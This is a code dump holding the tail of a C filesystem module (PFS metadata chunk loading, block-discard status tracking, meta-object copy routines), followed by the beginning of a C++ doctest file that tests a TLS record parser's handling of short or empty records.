status = MO2BT(mo)->bt_dstatus;
switch (status) {
case BDS_READY:
case BDS_INP:
pfs_bd_add(mnt, status, mo->mo_number);
break;
case BDS_NONE:
break;
default:
pfs_etrace("blktag %llu has bad status %u",
mo->mo_number, status);
PFS_ASSERT("blktag bad status" == NULL);
break;
}
}
}
return 0;
}
static void
pfs_metaset_bd_select(pfs_anode_t *an, uint64_t firstoid, void *data)
{
pfs_metaset_t *ms = (pfs_metaset_t *)an->an_host;
discard_args_t *dargs = (discard_args_t *)data;
pfs_metaobj_phy_t *mo;
uint64_t si, oi;
tnode_t *node;
if (an->an_nchild != 0)
return; /* skip internal node */
for (si = 0; si < ms->ms_nsect; si++) {
for (oi = 0; oi < (1ULL << ms->ms_opps); oi++) {
mo = &ms->ms_objbuf[si][oi];
PFS_ASSERT(mo->mo_type == MT_BLKTAG);
if (mo->mo_used)
continue;
/*
* If '--all' isn't set, then skip blk whose dstatus
* is BDS_NONE.
*/
if (!dargs->d_all && MO2BT(mo)->bt_dstatus == BDS_NONE)
continue;
node = tsearch((tkey_t *)mo->mo_number, &dargs->d_bdroot,
pfs_bd_compare);
PFS_ASSERT(node != NULL);
dargs->d_nblk++;
}
}
}
static void
pfs_metaset_visit(pfs_anode_t *an, uint64_t oid, void *data)
{
metaset_visit_t *msv = (metaset_visit_t *)data;
pfs_metaset_t *ms;
pfs_metaobj_phy_t *mo;
uint64_t si, oi;
if (an->an_nchild != 0)
return; /* skip internal node */
ms = (pfs_metaset_t *)an->an_host;
switch (msv->msv_type) {
case VISIT_ONE:
mo = pfs_metaset_getobject(ms, oid, NULL, NULL);
if (mo == NULL)
return;
(*msv->msv_func)(msv->msv_data, mo);
break;
case VISIT_ALL:
for (si = 0; si < ms->ms_nsect; si++) {
for (oi = 0; oi < (1ULL << ms->ms_opps); oi++) {
mo = &ms->ms_objbuf[si][oi];
(*msv->msv_func)(msv->msv_data, mo);
}
}
break;
default:
PFS_ASSERT("unknown traverse type" == NULL);
break;
}
}
/*
* metset_load:
*
* Load the disk content of a metaset into memory as a seperate copy.
* The in-memory copy will act as an allocation node.
*/
static int
pfs_meta_load_set(pfs_mount_t *mnt, pfs_chunk_t *ck, int mtype)
{
int i, err = 0, err1 = 0;
pfs_chunk_phy_t *phyck = ck->ck_phyck;
uint64_t sectsize = phyck->ck_sectsize;
pfs_metaset_t *ms = &ck->ck_metaset[mtype];
pfs_metaset_phy_t *physet = &phyck->ck_physet[mtype];
uint64_t bda;
ssize_t buflen, rsum, rlen;
char *bufptr;
ms->ms_type = mtype;
ms->ms_sectbda = physet->ms_sectbda;
ms->ms_nsect = physet->ms_nsect;
ms->ms_objsize = physet->ms_objsize;
ms->ms_opps = ffs(ck->ck_sectsize / ms->ms_objsize) - 1;
PFS_ASSERT((ms->ms_objsize << ms->ms_opps) == ck->ck_sectsize);
ms->ms_objbuf = (pfs_metaobj_phy_t **)pfs_mem_malloc(
ms->ms_nsect * sizeof(*ms->ms_objbuf), M_OBJBUFV);
if (ms->ms_objbuf == NULL)
ERR_RETVAL(ENOMEM);
memset(ms->ms_objbuf, 0, ms->ms_nsect * sizeof(*ms->ms_objbuf));
/*
* alloc consecutive memory for meta sectors and
* let ms->ms_objbuf[0] record it.
*/
PFS_ASSERT(sectsize % sizeof(pfs_metaobj_phy_t) == 0);
buflen = ms->ms_nsect * sectsize;
bufptr = (char *)pfs_mem_malloc(buflen, M_METASET);
PFS_VERIFY(bufptr != NULL);
/* set meta sectors pointers */
for (i = 0; i < (int)ms->ms_nsect; i++) {
ms->ms_objbuf[i] = (pfs_metaobj_phy_t *)(bufptr + i * sectsize);
}
/*
* issue nowait I/Os which are 4KB aligned to load
* meta sectors.
* Make sure that each I/O is in the range of one
* fragment.
*/
err = 0;
bda = ms->ms_sectbda;
for (rsum = 0; rsum < buflen; rsum += rlen, bda += rlen) {
rlen = mnt->mnt_fragsize - (bda % mnt->mnt_fragsize);
rlen = MIN(rlen, buflen - rsum);
err = pfsdev_pread_flags(mnt->mnt_ioch_desc, bufptr + rsum,
rlen, bda, IO_NOWAIT);
if (err < 0)
break;
}
err1 = pfsdev_wait_io(mnt->mnt_ioch_desc);
ERR_UPDATE(err, err1);
return err;
}
void
pfs_meta_check_chunk(const pfs_chunk_phy_t *phyck)
{
bool mismatch = false;
/*
* Check phyck->checksum
* Old version of meta doesn't have checksum which value is zero,
* so we should skip this case for compatibility.
*/
if (phyck->ck_checksum == 0) {
pfs_itrace("pfs chunk %llu checksum is zero, it maybe an old "
"version, skip checking it\n",
(unsigned long long)phyck->ck_number);
} else {
if (phyck->ck_checksum != crc32c_compute(phyck, sizeof(*phyck),
offsetof(struct pfs_chunk_phy, ck_checksum))) {
pfs_etrace("pfs chunk checksum %u is invalid\n",
phyck->ck_checksum);
mismatch = true;
}
}
if (!chunk_magic_valid(phyck->ck_number, phyck->ck_magic)) {
pfs_etrace("pfs magic mismatch %#llx vs %#llx\n",
(unsigned long long)phyck->ck_magic,
(unsigned long long)PFS_CHUNK_MAGIC);
mismatch = true;
}
if (phyck->ck_chunksize != PBD_CHUNK_SIZE) {
pfs_etrace("pfs chunk size mismatch %#llx vs %#llx\n",
(unsigned long long)phyck->ck_chunksize,
(unsigned long long)PBD_CHUNK_SIZE);
mismatch = true;
}
if (phyck->ck_sectsize != PBD_SECTOR_SIZE) {
pfs_etrace("pfs sector size mismatch %#llx vs %#llx\n",
(unsigned long long)phyck->ck_sectsize,
(unsigned long long)PBD_SECTOR_SIZE);
mismatch = true;
}
if (mismatch) {
pfs_etrace("pfs mismatch occurs in chunk %u."
" Make sure mkfs has run!\n", phyck->ck_number);
exit(EIO);
}
}
static int
pfs_meta_load_chunk(pfs_mount_t *mnt, uint32_t ckid)
{
int i, err;
pfs_chunk_t *ck;
pfs_metaset_t *ms;
pfs_chunk_phy_t *phyck;
PFS_ASSERT(mnt->mnt_nchunk >= 0 && ckid < (uint32_t)mnt->mnt_nchunk);
phyck = (pfs_chunk_phy_t *)pfs_mem_malloc(PBD_SECTOR_SIZE, M_SECTOR);
if (phyck == NULL)
ERR_RETVAL(ENOMEM);
err = pfsdev_pread(mnt->mnt_ioch_desc, phyck, PBD_SECTOR_SIZE,
ckid * PBD_CHUNK_SIZE);
if (err < 0)
ERR_GOTO(EIO, out);
pfs_meta_check_chunk(phyck);
PFS_ASSERT(phyck->ck_number == ckid);
ck = (pfs_chunk_t *)pfs_mem_malloc(sizeof(*ck), M_CHUNK);
if (ck == NULL)
ERR_GOTO(ENOMEM, out);
ck->ck_mnt = mnt;
ck->ck_phyck = phyck;
ck->ck_number = phyck->ck_number;
ck->ck_sectsize = phyck->ck_sectsize;
mnt->mnt_chunkv[ckid] = ck;
for (i = 0; i < MT_NTYPE; i++) {
if (i == MT_NONE)
continue;
ms = &ck->ck_metaset[i];
ms->ms_chunk = ck;
err = pfs_meta_load_set(mnt, ck, i);
if (err < 0)
return err;
pfs_metaset_check_crc(ms);
pfs_metaset_init_anode(ms, ck->ck_number);
}
return 0;
out:
pfs_mem_free(phyck, M_SECTOR);
return err;
}
int
pfs_meta_list_insert(pfs_mount_t *mnt, pfs_metaobj_phy_t *headmo,
pfs_metaobj_phy_t *mo)
{
int err;
pfs_metaobj_phy_t *tailmo;
pfs_txop_t *top = NULL;
pfs_tx_t *tx = pfs_tls_get_tx();
PFS_ASSERT(headmo->mo_type == MT_INODE);
if (headmo->mo_head == 0) {
headmo->mo_head = mo->mo_number;
} else {
err = pfs_tx_new_op(tx, top);
if (err < 0)
return err;
tailmo = pfs_meta_get(mnt, mo->mo_type, headmo->mo_tail, top,
MGF_CHECKVALID);
mo->mo_prev = tailmo->mo_number;
tailmo->mo_next = mo->mo_number;
pfs_tx_done_op(tx, top);
}
headmo->mo_tail = mo->mo_number;
return 0;
}
int
pfs_meta_list_delete(pfs_mount_t *mnt, pfs_metaobj_phy_t *headmo,
pfs_metaobj_phy_t *mo)
{
int err;
pfs_metaobj_phy_t *prevmo, *nextmo;
pfs_txop_t *top = NULL;
pfs_tx_t *tx = pfs_tls_get_tx();
PFS_ASSERT(headmo->mo_type == MT_INODE);
/* Free the entry and unlink it from the entry chain. */
if (mo->mo_prev) {
err = pfs_tx_new_op(tx, top);
if (err < 0)
return err;
prevmo = pfs_meta_get(mnt, mo->mo_type, mo->mo_prev, top,
MGF_CHECKVALID);
prevmo->mo_next = mo->mo_next;
pfs_tx_done_op(tx, top);
} else {
headmo->mo_head = mo->mo_next;
}
if (mo->mo_next) {
err = pfs_tx_new_op(tx, top);
if (err < 0)
return err;
nextmo = pfs_meta_get(mnt, mo->mo_type, mo->mo_next, top,
MGF_CHECKVALID);
nextmo->mo_prev = mo->mo_prev;
pfs_tx_done_op(tx, top);
} else {
headmo->mo_tail = mo->mo_prev;
}
mo->mo_prev = 0; /* clear previous structure info */
mo->mo_next = 0;
return 0;
}
static void
pfs_meta_finish_set(pfs_metaset_t *ms)
{
if (ms->ms_objbuf == NULL)
return;
if (ms->ms_objbuf[0]) {
pfs_mem_free(ms->ms_objbuf[0], M_METASET);
ms->ms_objbuf[0] = NULL;
}
pfs_mem_free(ms->ms_objbuf, M_OBJBUFV);
ms->ms_objbuf = NULL;
}
void
pfs_meta_finish_chunk(pfs_chunk_t *ck)
{
int i;
for (i = 0; i < MT_NTYPE; i++)
pfs_meta_finish_set(&ck->ck_metaset[i]);
pfs_mem_free(ck->ck_phyck, M_SECTOR);
pfs_mem_free(ck, M_CHUNK);
return;
}
/*
* All chunks are divided into several load_tasks in balance.
* Every task loads superblocks of chunks in [lckid, rckid).
* When reading metasets in superblock, all I/Os are issued
* in asynchronous mode. I/O's length is 16KB and its block
* device address is 4KB aligned.
*/
typedef struct load_task {
pthread_t t_thrid;
pfs_mount_t *t_mnt;
int32_t t_lckid;
int32_t t_rckid;
int t_err;
} load_task_t;
static void *
pfs_meta_loadtask_run(void *arg)
{
int err = 0;
load_task_t *task = (load_task_t *)arg;
int32_t ckid, ndone;
struct timeval start, end, delta;
err = gettimeofday(&start, NULL);
PFS_VERIFY(err == 0);
ndone = 0;
for (ckid = task->t_lckid; ckid < task->t_rckid; ckid++) {
err = pfs_meta_load_chunk(task->t_mnt, ckid);
if (err < 0)
break;
ndone++;
}
task->t_err = err;
err = gettimeofday(&end, NULL);
PFS_VERIFY(err == 0);
timersub(&end, &start, &delta);
pfs_itrace("load task [%d, %d) finished, loaded %d chunks, err=%d,"
" time=(%lds %ldus)\n", task->t_lckid, task->t_rckid, ndone,
task->t_err, delta.tv_sec, delta.tv_usec);
return NULL;
}
static void
pfs_meta_loadtask_start(load_task_t *task, pfs_mount_t *mnt, uint32_t startckid,
int nck)
{
int rv;
task->t_err = -EINVAL;
task->t_thrid = 0;
task->t_mnt = mnt;
task->t_lckid = startckid;
task->t_rckid = startckid + nck;
rv = pthread_create(&task->t_thrid, NULL,
pfs_meta_loadtask_run, (void *)task);
PFS_VERIFY(rv == 0);
}
static int
pfs_meta_loadtask_wait(load_task_t *task)
{
int rv;
PFS_ASSERT(task->t_thrid > 0);
rv = pthread_join(task->t_thrid, NULL);
PFS_VERIFY(rv == 0);
return task->t_err;
}
static int
pfs_meta_load_chunks_parallel(pfs_mount_t *mnt, uint32_t oldnck,
uint32_t newnck)
{
int64_t nthrd = loadthread_count;
int err, err1;
int32_t nstep, nresd, nck;
int32_t i, ckid;
load_task_t taskv[MAX_NTHRD];
PFS_ASSERT(oldnck < newnck);
nthrd = MAX(nthrd, MIN_NTHRD);
nthrd = MIN(nthrd, MAX_NTHRD);
nthrd = MIN(nthrd, newnck - oldnck);
pfs_itrace("load %u chunks by %d threads\n", newnck - oldnck, nthrd);
/*
* Every task in [0, nthrd) loads nstep chunk at least.
* While task in [0, nresd) will get one more.
*/
nstep = (newnck - oldnck) / nthrd;
nresd = (newnck - oldnck) % nthrd;
ckid = oldnck;
for (i = 0; i < nthrd; i++) {
PFS_ASSERT(i < MAX_NTHRD);
nck = (i < nresd) ? (nstep + 1) : nstep;
pfs_meta_loadtask_start(&taskv[i], mnt, ckid, nck);
ckid += nck;
}
/* wait all load workers done */
err = 0;
for (i = 0; i < nthrd; i++) {
err1 = pfs_meta_loadtask_wait(&taskv[i]);
ERR_UPDATE(err, err1);
}
return err;
}
int
pfs_meta_load_all_chunks(pfs_mount_t *mnt)
{
int err;
uint32_t i, oldnchunk, nchunk;
char buf[PBD_SECTOR_SIZE];
pfs_chunk_phy_t *phyck = (pfs_chunk_phy_t *)buf;
pfs_chunk_t **newchunkv;
/* read first chunk */
err = pfsdev_pread(mnt->mnt_ioch_desc, buf, PBD_SECTOR_SIZE, 0);
if (err < 0) {
pfs_etrace("Get first chunk header failed, err=%d\n", err);
return err;
}
pfs_meta_check_chunk(phyck);
mnt->mnt_blksize = phyck->ck_blksize;
mnt->mnt_sectsize = phyck->ck_sectsize;
mnt->mnt_fragsize = PFS_FRAG_SIZE;
nchunk = phyck->ck_nchunk;
if ((uint32_t)mnt->mnt_nchunk == nchunk) {
pfs_etrace("nchunk doesn't change, its value is %d\n",
mnt->mnt_nchunk);
return 0;
} else if ((uint32_t)mnt->mnt_nchunk > nchunk) {
pfs_etrace("NOT support shrink chunk from %d to %u\n",
mnt->mnt_nchunk, nchunk);
PFS_ASSERT("shrink is not support" == NULL);
exit(EINVAL);
}
/* realloc mnt_chunkv */
oldnchunk = mnt->mnt_nchunk;
PFS_ASSERT((oldnchunk == 0 && mnt->mnt_chunkv == NULL) ||
(oldnchunk != 0 && mnt->mnt_chunkv != NULL));
newchunkv = (pfs_chunk_t **)pfs_mem_realloc(mnt->mnt_chunkv,
nchunk * sizeof(pfs_chunk_t *), M_CHUNKV);
if (newchunkv == NULL)
ERR_RETVAL(ENOMEM);
/* load extra chunks */
pfs_itrace("try to load chunks in [%u, %u)\n", oldnchunk, nchunk);
mnt->mnt_nchunk = nchunk;
mnt->mnt_chunkv = newchunkv;
for (i = oldnchunk; i < nchunk; i++) {
mnt->mnt_chunkv[i] = NULL;
}
err = pfs_meta_load_chunks_parallel(mnt, oldnchunk, nchunk);
mnt->mnt_disksize = nchunk * PBD_CHUNK_SIZE;
return err;
}
pfs_metaobj_phy_t *
pfs_meta_alloc(pfs_mount_t *mnt, int mtype, pfs_txop_t *top)
{
pfs_metaobj_phy_t *mo;
pfs_meta_lock(mnt);
mo = metatypes[mtype].mt_alloc(mnt, mtype, top);
return mo;
}
void
pfs_meta_free(pfs_mount_t *mnt, int mtype, pfs_metaobj_phy_t *mo,
pfs_txop_t *top)
{
pfs_meta_lock(mnt);
metatypes[mtype].mt_free(mnt, mtype, mo, top);
}
pfs_metaobj_phy_t *
pfs_meta_get(pfs_mount_t *mnt, int mtype, uint64_t objno, pfs_txop_t *top,
int flags)
{
pfs_anode_t *anroot = &mnt->mnt_anode[mtype];
void *obj;
pfs_metaobj_phy_t *mo;
pfs_meta_lock(mnt);
obj = pfs_anode_get(anroot, objno, top);
mo = (pfs_metaobj_phy_t *)obj;
PFS_ASSERT(mo != NULL);
/*
* Any member visiting of mo here will lead to hot cpu cache missing
* if we try to get large number of mo.
*/
return mo;
}
int
pfs_meta_undo(pfs_mount_t *mnt, int mtype, uint64_t objno, pfs_txop_t *top)
{
pfs_anode_t *anroot = &mnt->mnt_anode[mtype];
pfs_meta_lock(mnt);
/* pfs_anode_set() returns delta of an_nfree, it maybe negative */
(void)pfs_anode_undo(anroot, objno, top);
#if CHECK_META
(void)pfs_anode_walk(anroot, metaset_check_nfree, &nfree);
#endif
return 0;
}
int
pfs_meta_redo(pfs_mount_t *mnt, int mtype, uint64_t objno, pfs_txop_t *top)
{
pfs_anode_t *anroot = &mnt->mnt_anode[mtype];
pfs_meta_lock(mnt);
/* pfs_anode_set() returns delta of an_nfree, it maybe negative */
(void)pfs_anode_redo(anroot, objno, top);
#if CHECK_META
(void)pfs_anode_walk(anroot, metaset_check_nfree, &nfree);
#endif
return 0;
}
void
pfs_meta_redo_fini(pfs_tx* tx)
{
int i = MT_NONE;
for (++i; i < MT_NTYPE; ++i)
metatypes[i].mt_redo_fini(tx);
}
void
pfs_metaobj_dump(const pfs_metaobj_phy_t *mo, int level)
{
if (mo->mo_type > MT_NONE && mo->mo_type < MT_NTYPE)
DUMP_VALUE("%s", level, mo_type, metatypes[mo->mo_type].mt_name);
else
DUMP_FIELD("%d", level, mo, mo_type);
DUMP_FIELD("%lu", level, mo, mo_number);
DUMP_FIELD("%u", level, mo, mo_checksum);
DUMP_FIELD("%d", level, mo, mo_used);
DUMP_FIELD("%lu", level, mo, mo_version);
switch (mo->mo_type) {
case MT_BLKTAG: {
pfs_blktag_phy_t *bt = MO2BT(mo);
DUMP_FIELD("%lu", level, mo, mo_next);
DUMP_FIELD("%lu", level, mo, mo_prev);
DUMP_FIELD("%lu", level+1, bt, bt_ino);
DUMP_FIELD("%lu", level+1, bt, bt_blkid);
DUMP_FIELD("%u", level+1, bt, bt_dstatus);
DUMP_FIELD("%u", level+1, bt, bt_ndiscard);
DUMP_FIELD("%d", level+1, bt, bt_holelen);
DUMP_FIELD("%d", level+1, bt, bt_holeoff);
break;
}
case MT_DIRENTRY: {
pfs_direntry_phy_t *de = MO2DE(mo);
DUMP_FIELD("%lu", level, mo, mo_next);
DUMP_FIELD("%lu", level, mo, mo_prev);
// XXX: not always null-terminated
PFS_ASSERT(sizeof(de->de_name) == 64);
DUMP_FIELD("%.64s", level+1, de, de_name);
if (DE_ISEXT(de)) {
/* extended direntry */
DUMP_FIELD("%lu", level+1, de, de_headdeno);
} else {
/* head direntry or unused */
DUMP_FIELD("%ld", level+1, de, de_dirino);
DUMP_FIELD("%ld", level+1, de, de_ino);
}
DUMP_FIELD("%lu", level+1, de, de_extdeno);
break;
}
case MT_INODE: {
pfs_inode_phy_t *in = MO2IN(mo);
DUMP_FIELD("%lu", level, mo, mo_head);
DUMP_FIELD("%lu", level, mo, mo_tail);
DUMP_FIELD("%u", level+1, in, in_type);
DUMP_FIELD("%lu", level+1, in, in_deno);
DUMP_FIELD("%u", level+1, in, in_flags);
DUMP_FIELD("%u", level+1, in, in_pvtid); // use original value
DUMP_FIELD("%lu", level+1, in, in_nlink);
DUMP_FIELD("%lu", level+1, in, in_nblock);
DUMP_FIELD("%lu", level+1, in, in_size);
DUMP_FIELD("%lu", level+1, in, in_atime);
DUMP_FIELD("%lu", level+1, in, in_ctime);
DUMP_FIELD("%lu", level+1, in, in_mtime);
break;
}
}
}
void
pfs_meta_used_oid(pfs_mount_t *mnt, int type, int ckid, oidvect_t *ov)
{
pfs_anode_t *anroot = &mnt->mnt_anode[type];
uint64_t oid;
MOUNT_META_RDLOCK(mnt);
oid = MONO_MAKE((ckid << anroot->an_children[0]->an_shift), 0);
pfs_anode_visit(anroot, oid, pfs_metaset_used_oid, ov);
MOUNT_META_UNLOCK(mnt);
}
int
pfs_meta_info(pfs_mount_t *mnt, int depth, pfs_printer_t *printer)
{
int i, err, err1;
MOUNT_META_RDLOCK(mnt);
err = 0;
for (i = MT_NONE; i < MT_NTYPE; i++) {
if (i == MT_NONE)
continue;
err1 = pfs_anode_dump(&mnt->mnt_anode[i], i, depth, 0, printer);
ERR_UPDATE(err, err1);
}
MOUNT_META_UNLOCK(mnt);
return err;
}
bool
pfs_meta_bd_mark_inp(pfs_mount_t *mnt, int64_t btno)
{
int err;
pfs_tx_t *tx;
pfs_txop_t *bttop;
pfs_blktag_phy_t *bt;
bool marked = false;
tx = pfs_tls_get_tx();
err = pfs_tx_new_op(tx, bttop);
PFS_ASSERT(err == 0);
(void)err;
bt = pfs_meta_get_blktag_flags(mnt, btno, bttop, 0);
PFS_ASSERT(bt != NULL);
/*
* This func just tries to mark blk discarding,
* because blktag's flags maybe modified to any
* status by others.
*
* If current blk is in both local bdroot and global
* ready/inp tree, it should be not marked and removed
* from local bdroot.
*/
switch (bt->bt_dstatus) {
case BDS_READY:
if (pfs_bd_find(mnt, bt->bt_dstatus, btno) < 0) {
PFS_ASSERT(bt->bt_ndiscard == 0);
bt->bt_dstatus = BDS_INP;
bt->bt_ndiscard++;
marked = true;
}
break;
case BDS_INP:
if (pfs_bd_find(mnt, bt->bt_dstatus, btno) < 0) {
PFS_ASSERT(bt->bt_ndiscard > 0);
bt->bt_ndiscard++; // force into tx
marked = true;
}
break;
case BDS_NONE:
pfs_itrace("blk %llu has dstatus as %d when marking"
" discarding\n", btno, bt->bt_dstatus);
break;
default:
pfs_etrace("blk %llu has bad status %d when marking"
" discarding\n", btno, bt->bt_dstatus);
PFS_ASSERT("blk bad status" == NULL);
break;
}
#ifdef PFSDEBUG
if (marked && pfs_inited(mnt))
pfs_itrace("blk %lu status mark -> %d (ndiscard:%d)\n",
btno, bt->bt_dstatus, bt->bt_ndiscard);
#endif
pfs_tx_done_op(tx, bttop);
return marked;
}
bool
pfs_meta_bd_mark_done(pfs_mount_t *mnt, int64_t btno)
{
int err;
pfs_tx_t *tx;
pfs_txop_t *bttop;
pfs_blktag_phy_t *bt;
bool marked = false;
tx = pfs_tls_get_tx();
err = pfs_tx_new_op(tx, bttop);
PFS_ASSERT(err == 0);
bt = pfs_meta_get_blktag_flags(mnt, btno, bttop, 0);
PFS_ASSERT(bt != NULL);
switch (bt->bt_dstatus) {
case BDS_INP:
if (pfs_bd_find(mnt, bt->bt_dstatus, btno) < 0) {
PFS_ASSERT(bt->bt_ndiscard > 0);
bt->bt_dstatus = BDS_NONE;
marked = true;
}
break;
case BDS_READY:
case BDS_NONE:
pfs_itrace("blk %llu has dstatus as %d when marking"
" discarded\n", btno, bt->bt_dstatus);
break;
default:
pfs_etrace("blk %llu has bad status %d when marking"
" discarded\n", btno, bt->bt_dstatus);
PFS_ASSERT("blk bad status" == NULL);
break;
}
#ifdef PFSDEBUG
if (marked && pfs_inited(mnt))
pfs_itrace("blk %lu status mark -> %d (ndiscard:%d)\n",
btno, bt->bt_dstatus, bt->bt_ndiscard);
#endif
pfs_tx_done_op(tx, bttop);
return marked;
}
static void
pfs_meta_bd_change_index(pfs_mount_t *mnt, pfs_blktag_phy_t *bt)
{
int64_t btno = MONO_CURR(bt);
switch (bt->bt_dstatus) {
case BDS_READY:
pfs_bd_add(mnt, bt->bt_dstatus, btno);
pfs_bd_del(mnt, BDS_INP, btno);
break;
case BDS_INP:
pfs_bd_add(mnt, bt->bt_dstatus, btno);
pfs_bd_del(mnt, BDS_READY, btno);
break;
case BDS_NONE:
pfs_bd_del(mnt, BDS_READY, btno);
pfs_bd_del(mnt, BDS_INP, btno);
break;
default:
pfs_etrace("blk %llu has bad status %d when changing"
" index\n", btno, bt->bt_dstatus);
PFS_ASSERT("blk bad status" == NULL);
break;
}
#ifdef PFSDEBUG
if (pfs_inited(mnt))
pfs_itrace("blk %lu status change -> %d (ndiscard:%d)\n",
btno, bt->bt_dstatus, bt->bt_ndiscard);
#endif
}
void
pfs_meta_bd_build_index(pfs_mount_t *mnt)
{
pfs_anode_t *anroot = &mnt->mnt_anode[MT_BLKTAG];
MOUNT_META_WRLOCK(mnt);
pfs_anode_walk(anroot, pfs_metaset_bd_build_index, mnt);
MOUNT_META_UNLOCK(mnt);
}
void
pfs_meta_bd_select(pfs_mount_t *mnt, int64_t ckid, void *data)
{
pfs_anode_t *anroot = &mnt->mnt_anode[MT_BLKTAG];
uint64_t oid;
MOUNT_META_RDLOCK(mnt);
oid = MONO_MAKE((ckid << anroot->an_children[0]->an_shift), 0);
pfs_anode_visit(anroot, oid, pfs_metaset_bd_select, data);
MOUNT_META_UNLOCK(mnt);
}
void
pfs_meta_visit(pfs_mount_t *mnt, int type, int ckid, int objid,
pfs_meta_visitfn_t *visitfunc, void *visitdata)
{
pfs_anode_t *anroot;
uint64_t oid;
metaset_visit_t msv;
PFS_ASSERT(type > MT_NONE && type < MT_NTYPE);
anroot = &mnt->mnt_anode[type];
pfs_meta_lock(mnt);
if (objid < 0) {
oid = MONO_MAKE((ckid << anroot->an_children[0]->an_shift), 0);
msv.msv_type = VISIT_ALL;
msv.msv_oid = (int64_t)-1;
} else {
oid = MONO_MAKE((ckid << anroot->an_children[0]->an_shift), objid);
msv.msv_type = VISIT_ONE;
msv.msv_oid = (int64_t)objid;
}
msv.msv_func = visitfunc;
msv.msv_data = visitdata;
pfs_anode_visit(anroot, oid, pfs_metaset_visit, &msv);
pfs_meta_unlock(mnt);
}
#define FIELD_CP_DEF(type, psrc, pdest) \
const type *src = (const type *)psrc; \
type *dest = (type *)pdest
/*
* FIELD_CP_INT is atomic, so lock is not needed if the reader does not pay
* attention to the version it reads while read/write is executed parallelly.
*/
#define FIELD_CP_INT(field) \
__atomic_store_n(&dest->field, src->field, __ATOMIC_RELAXED)
/*
* FIELD_CP_STR is not atomic, so lock is needed.
*/
#define FIELD_CP_STR(field) \
memcpy(&dest->field, src->field, sizeof(src->field))
static inline void
pfs_metaobj_cp_base(const pfs_metaobj_phy_t *psrc, pfs_metaobj_phy_t *pdest)
{
FIELD_CP_DEF(pfs_metaobj_phy_t, psrc, pdest);
FIELD_CP_INT(mo_number);
FIELD_CP_INT(mo_version);
FIELD_CP_INT(mo_next);
FIELD_CP_INT(mo_prev);
FIELD_CP_INT(mo_type);
FIELD_CP_INT(mo_used);
FIELD_CP_INT(mo_padding[0]);
FIELD_CP_INT(mo_padding[1]);
FIELD_CP_INT(mo_checksum);
}
static void
pfs_metaobj_cp_blktag(const pfs_metaobj_phy_t *psrc, pfs_metaobj_phy_t *pdest)
{
FIELD_CP_DEF(pfs_blktag_phy_t, &psrc->mo_data, &pdest->mo_data);
pfs_metaobj_cp_base(psrc, pdest);
FIELD_CP_INT(bt_ino);
FIELD_CP_INT(bt_blkid);
FIELD_CP_INT(bt_dstatus);
FIELD_CP_INT(bt_ndiscard);
FIELD_CP_INT(bt_holelen);
FIELD_CP_INT(bt_holeoff);
}
static void
pfs_metaobj_cp_dentry(const pfs_metaobj_phy_t *psrc, pfs_metaobj_phy_t *pdest)
{
FIELD_CP_DEF(pfs_direntry_phy_t, &psrc->mo_data, &pdest->mo_data);
pfs_metaobj_cp_base(psrc, pdest);
/*
* dentry name visiting is always not atomic if lock is not used.
* pay attention to the implementation of "pfs_direntry_getname".
*/
FIELD_CP_STR(de_name);
FIELD_CP_INT(de_ino);
FIELD_CP_INT(de_dirino);
FIELD_CP_INT(de_extdeno);
}
static void
pfs_metaobj_cp_inode(const pfs_metaobj_phy_t *psrc, pfs_metaobj_phy_t *pdest)
{
FIELD_CP_DEF(pfs_inode_phy_t, &psrc->mo_data, &pdest->mo_data);
pfs_metaobj_cp_base(psrc, pdest);
FIELD_CP_INT(in_type);
FIELD_CP_INT(in_flags);
FIELD_CP_INT(in_padding);
FIELD_CP_INT(in_pvtid);
FIELD_CP_INT(in_deno);
FIELD_CP_INT(in_nlink);
FIELD_CP_INT(in_nblock);
FIELD_CP_INT(in_size);
FIELD_CP_INT(in_atime);
FIELD_CP_INT(in_ctime);
FIELD_CP_INT(in_mtime);
FIELD_CP_INT(in_btime);
}
void
pfs_metaobj_cp(const pfs_metaobj_phy_t *src, pfs_metaobj_phy_t *dest)
{
static void (*pfs_meta_func_array[MT_NTYPE])(const pfs_metaobj_phy_t *,
pfs_metaobj_phy_t *) = {
NULL, pfs_metaobj_cp_blktag, pfs_metaobj_cp_dentry, pfs_metaobj_cp_inode};
PFS_ASSERT(src->mo_type > 0 && src->mo_type < MT_NTYPE);
pfs_meta_func_array[src->mo_type](src, dest);
}
| 24.460736 | 80 | 0.692182 | qiuyuhang |
4ed6b363bb4a161afaaf5dbed379b3facadf3b59 | 2,431 | cpp | C++ | tests/unit/tls_parser/tls_parser_test.cpp | pioneer19/libcornet | 9eb91629d8f9a6793b28af10a3535bfba0cc24ca | [
"Apache-2.0"
] | 1 | 2020-07-25T06:39:24.000Z | 2020-07-25T06:39:24.000Z | tests/unit/tls_parser/tls_parser_test.cpp | pioneer19/libcornet | 9eb91629d8f9a6793b28af10a3535bfba0cc24ca | [
"Apache-2.0"
] | 1 | 2020-07-25T05:32:10.000Z | 2020-07-25T05:32:10.000Z | tests/unit/tls_parser/tls_parser_test.cpp | pioneer19/libcornet | 9eb91629d8f9a6793b28af10a3535bfba0cc24ca | [
"Apache-2.0"
] | 1 | 2020-07-25T05:28:54.000Z | 2020-07-25T05:28:54.000Z | /*
* Copyright 2020 Alex Syrnikov <pioneer19@post.cz>
* SPDX-License-Identifier: Apache-2.0
*
* This file is part of libcornet (https://github.com/pioneer19/libcornet).
*/
#include <doctest/doctest.h>
#include <libcornet/tls/parser.hpp>
namespace record = pioneer19::cornet::tls13::record;
TEST_CASE("Parser test with empty plaintext data")
{
const char tls_record[] = { 22 // type
,0x03,0x03 // legacy_version
,0x00, 0x00 // data length
};
record::Parser parser;
auto[bytes_parsed, err] = parser.parse_net_record<record::EmptyHook>( nullptr
,tls_record, sizeof( tls_record) );
CHECK( err );
REQUIRE( err.parse_errno() == record::ParserErrno::W_LOW_DATA_IN_HANDSHAKE );
}
TEST_CASE("Parser test with low data in tls plaintext")
{
const char short_tls_record[] = {22 // type
};
record::Parser parser;
auto[bytes_parsed, err] = parser.parse_net_record<record::EmptyHook>( nullptr
,short_tls_record, sizeof( short_tls_record ) );
CHECK( err );
REQUIRE( err.parse_errno() == record::ParserErrno::W_LOW_DATA_IN_NET_RECORD );
}
TEST_CASE("Parser test with low data in tls plaintext data")
{
const char short_tls_record2[] = { 22 // type
,0x03,0x03 // legacy_version
,0x00, 0x10 // data length
// no data
};
record::Parser parser;
auto [bytes_parsed,err] = parser.parse_net_record<record::EmptyHook>( nullptr
,short_tls_record2, sizeof( short_tls_record2) );
CHECK( err );
REQUIRE( err.parse_errno() == record::ParserErrno::W_LOW_DATA_IN_NET_RECORD );
}
TEST_CASE( "Parser test with empty handshake" )
{
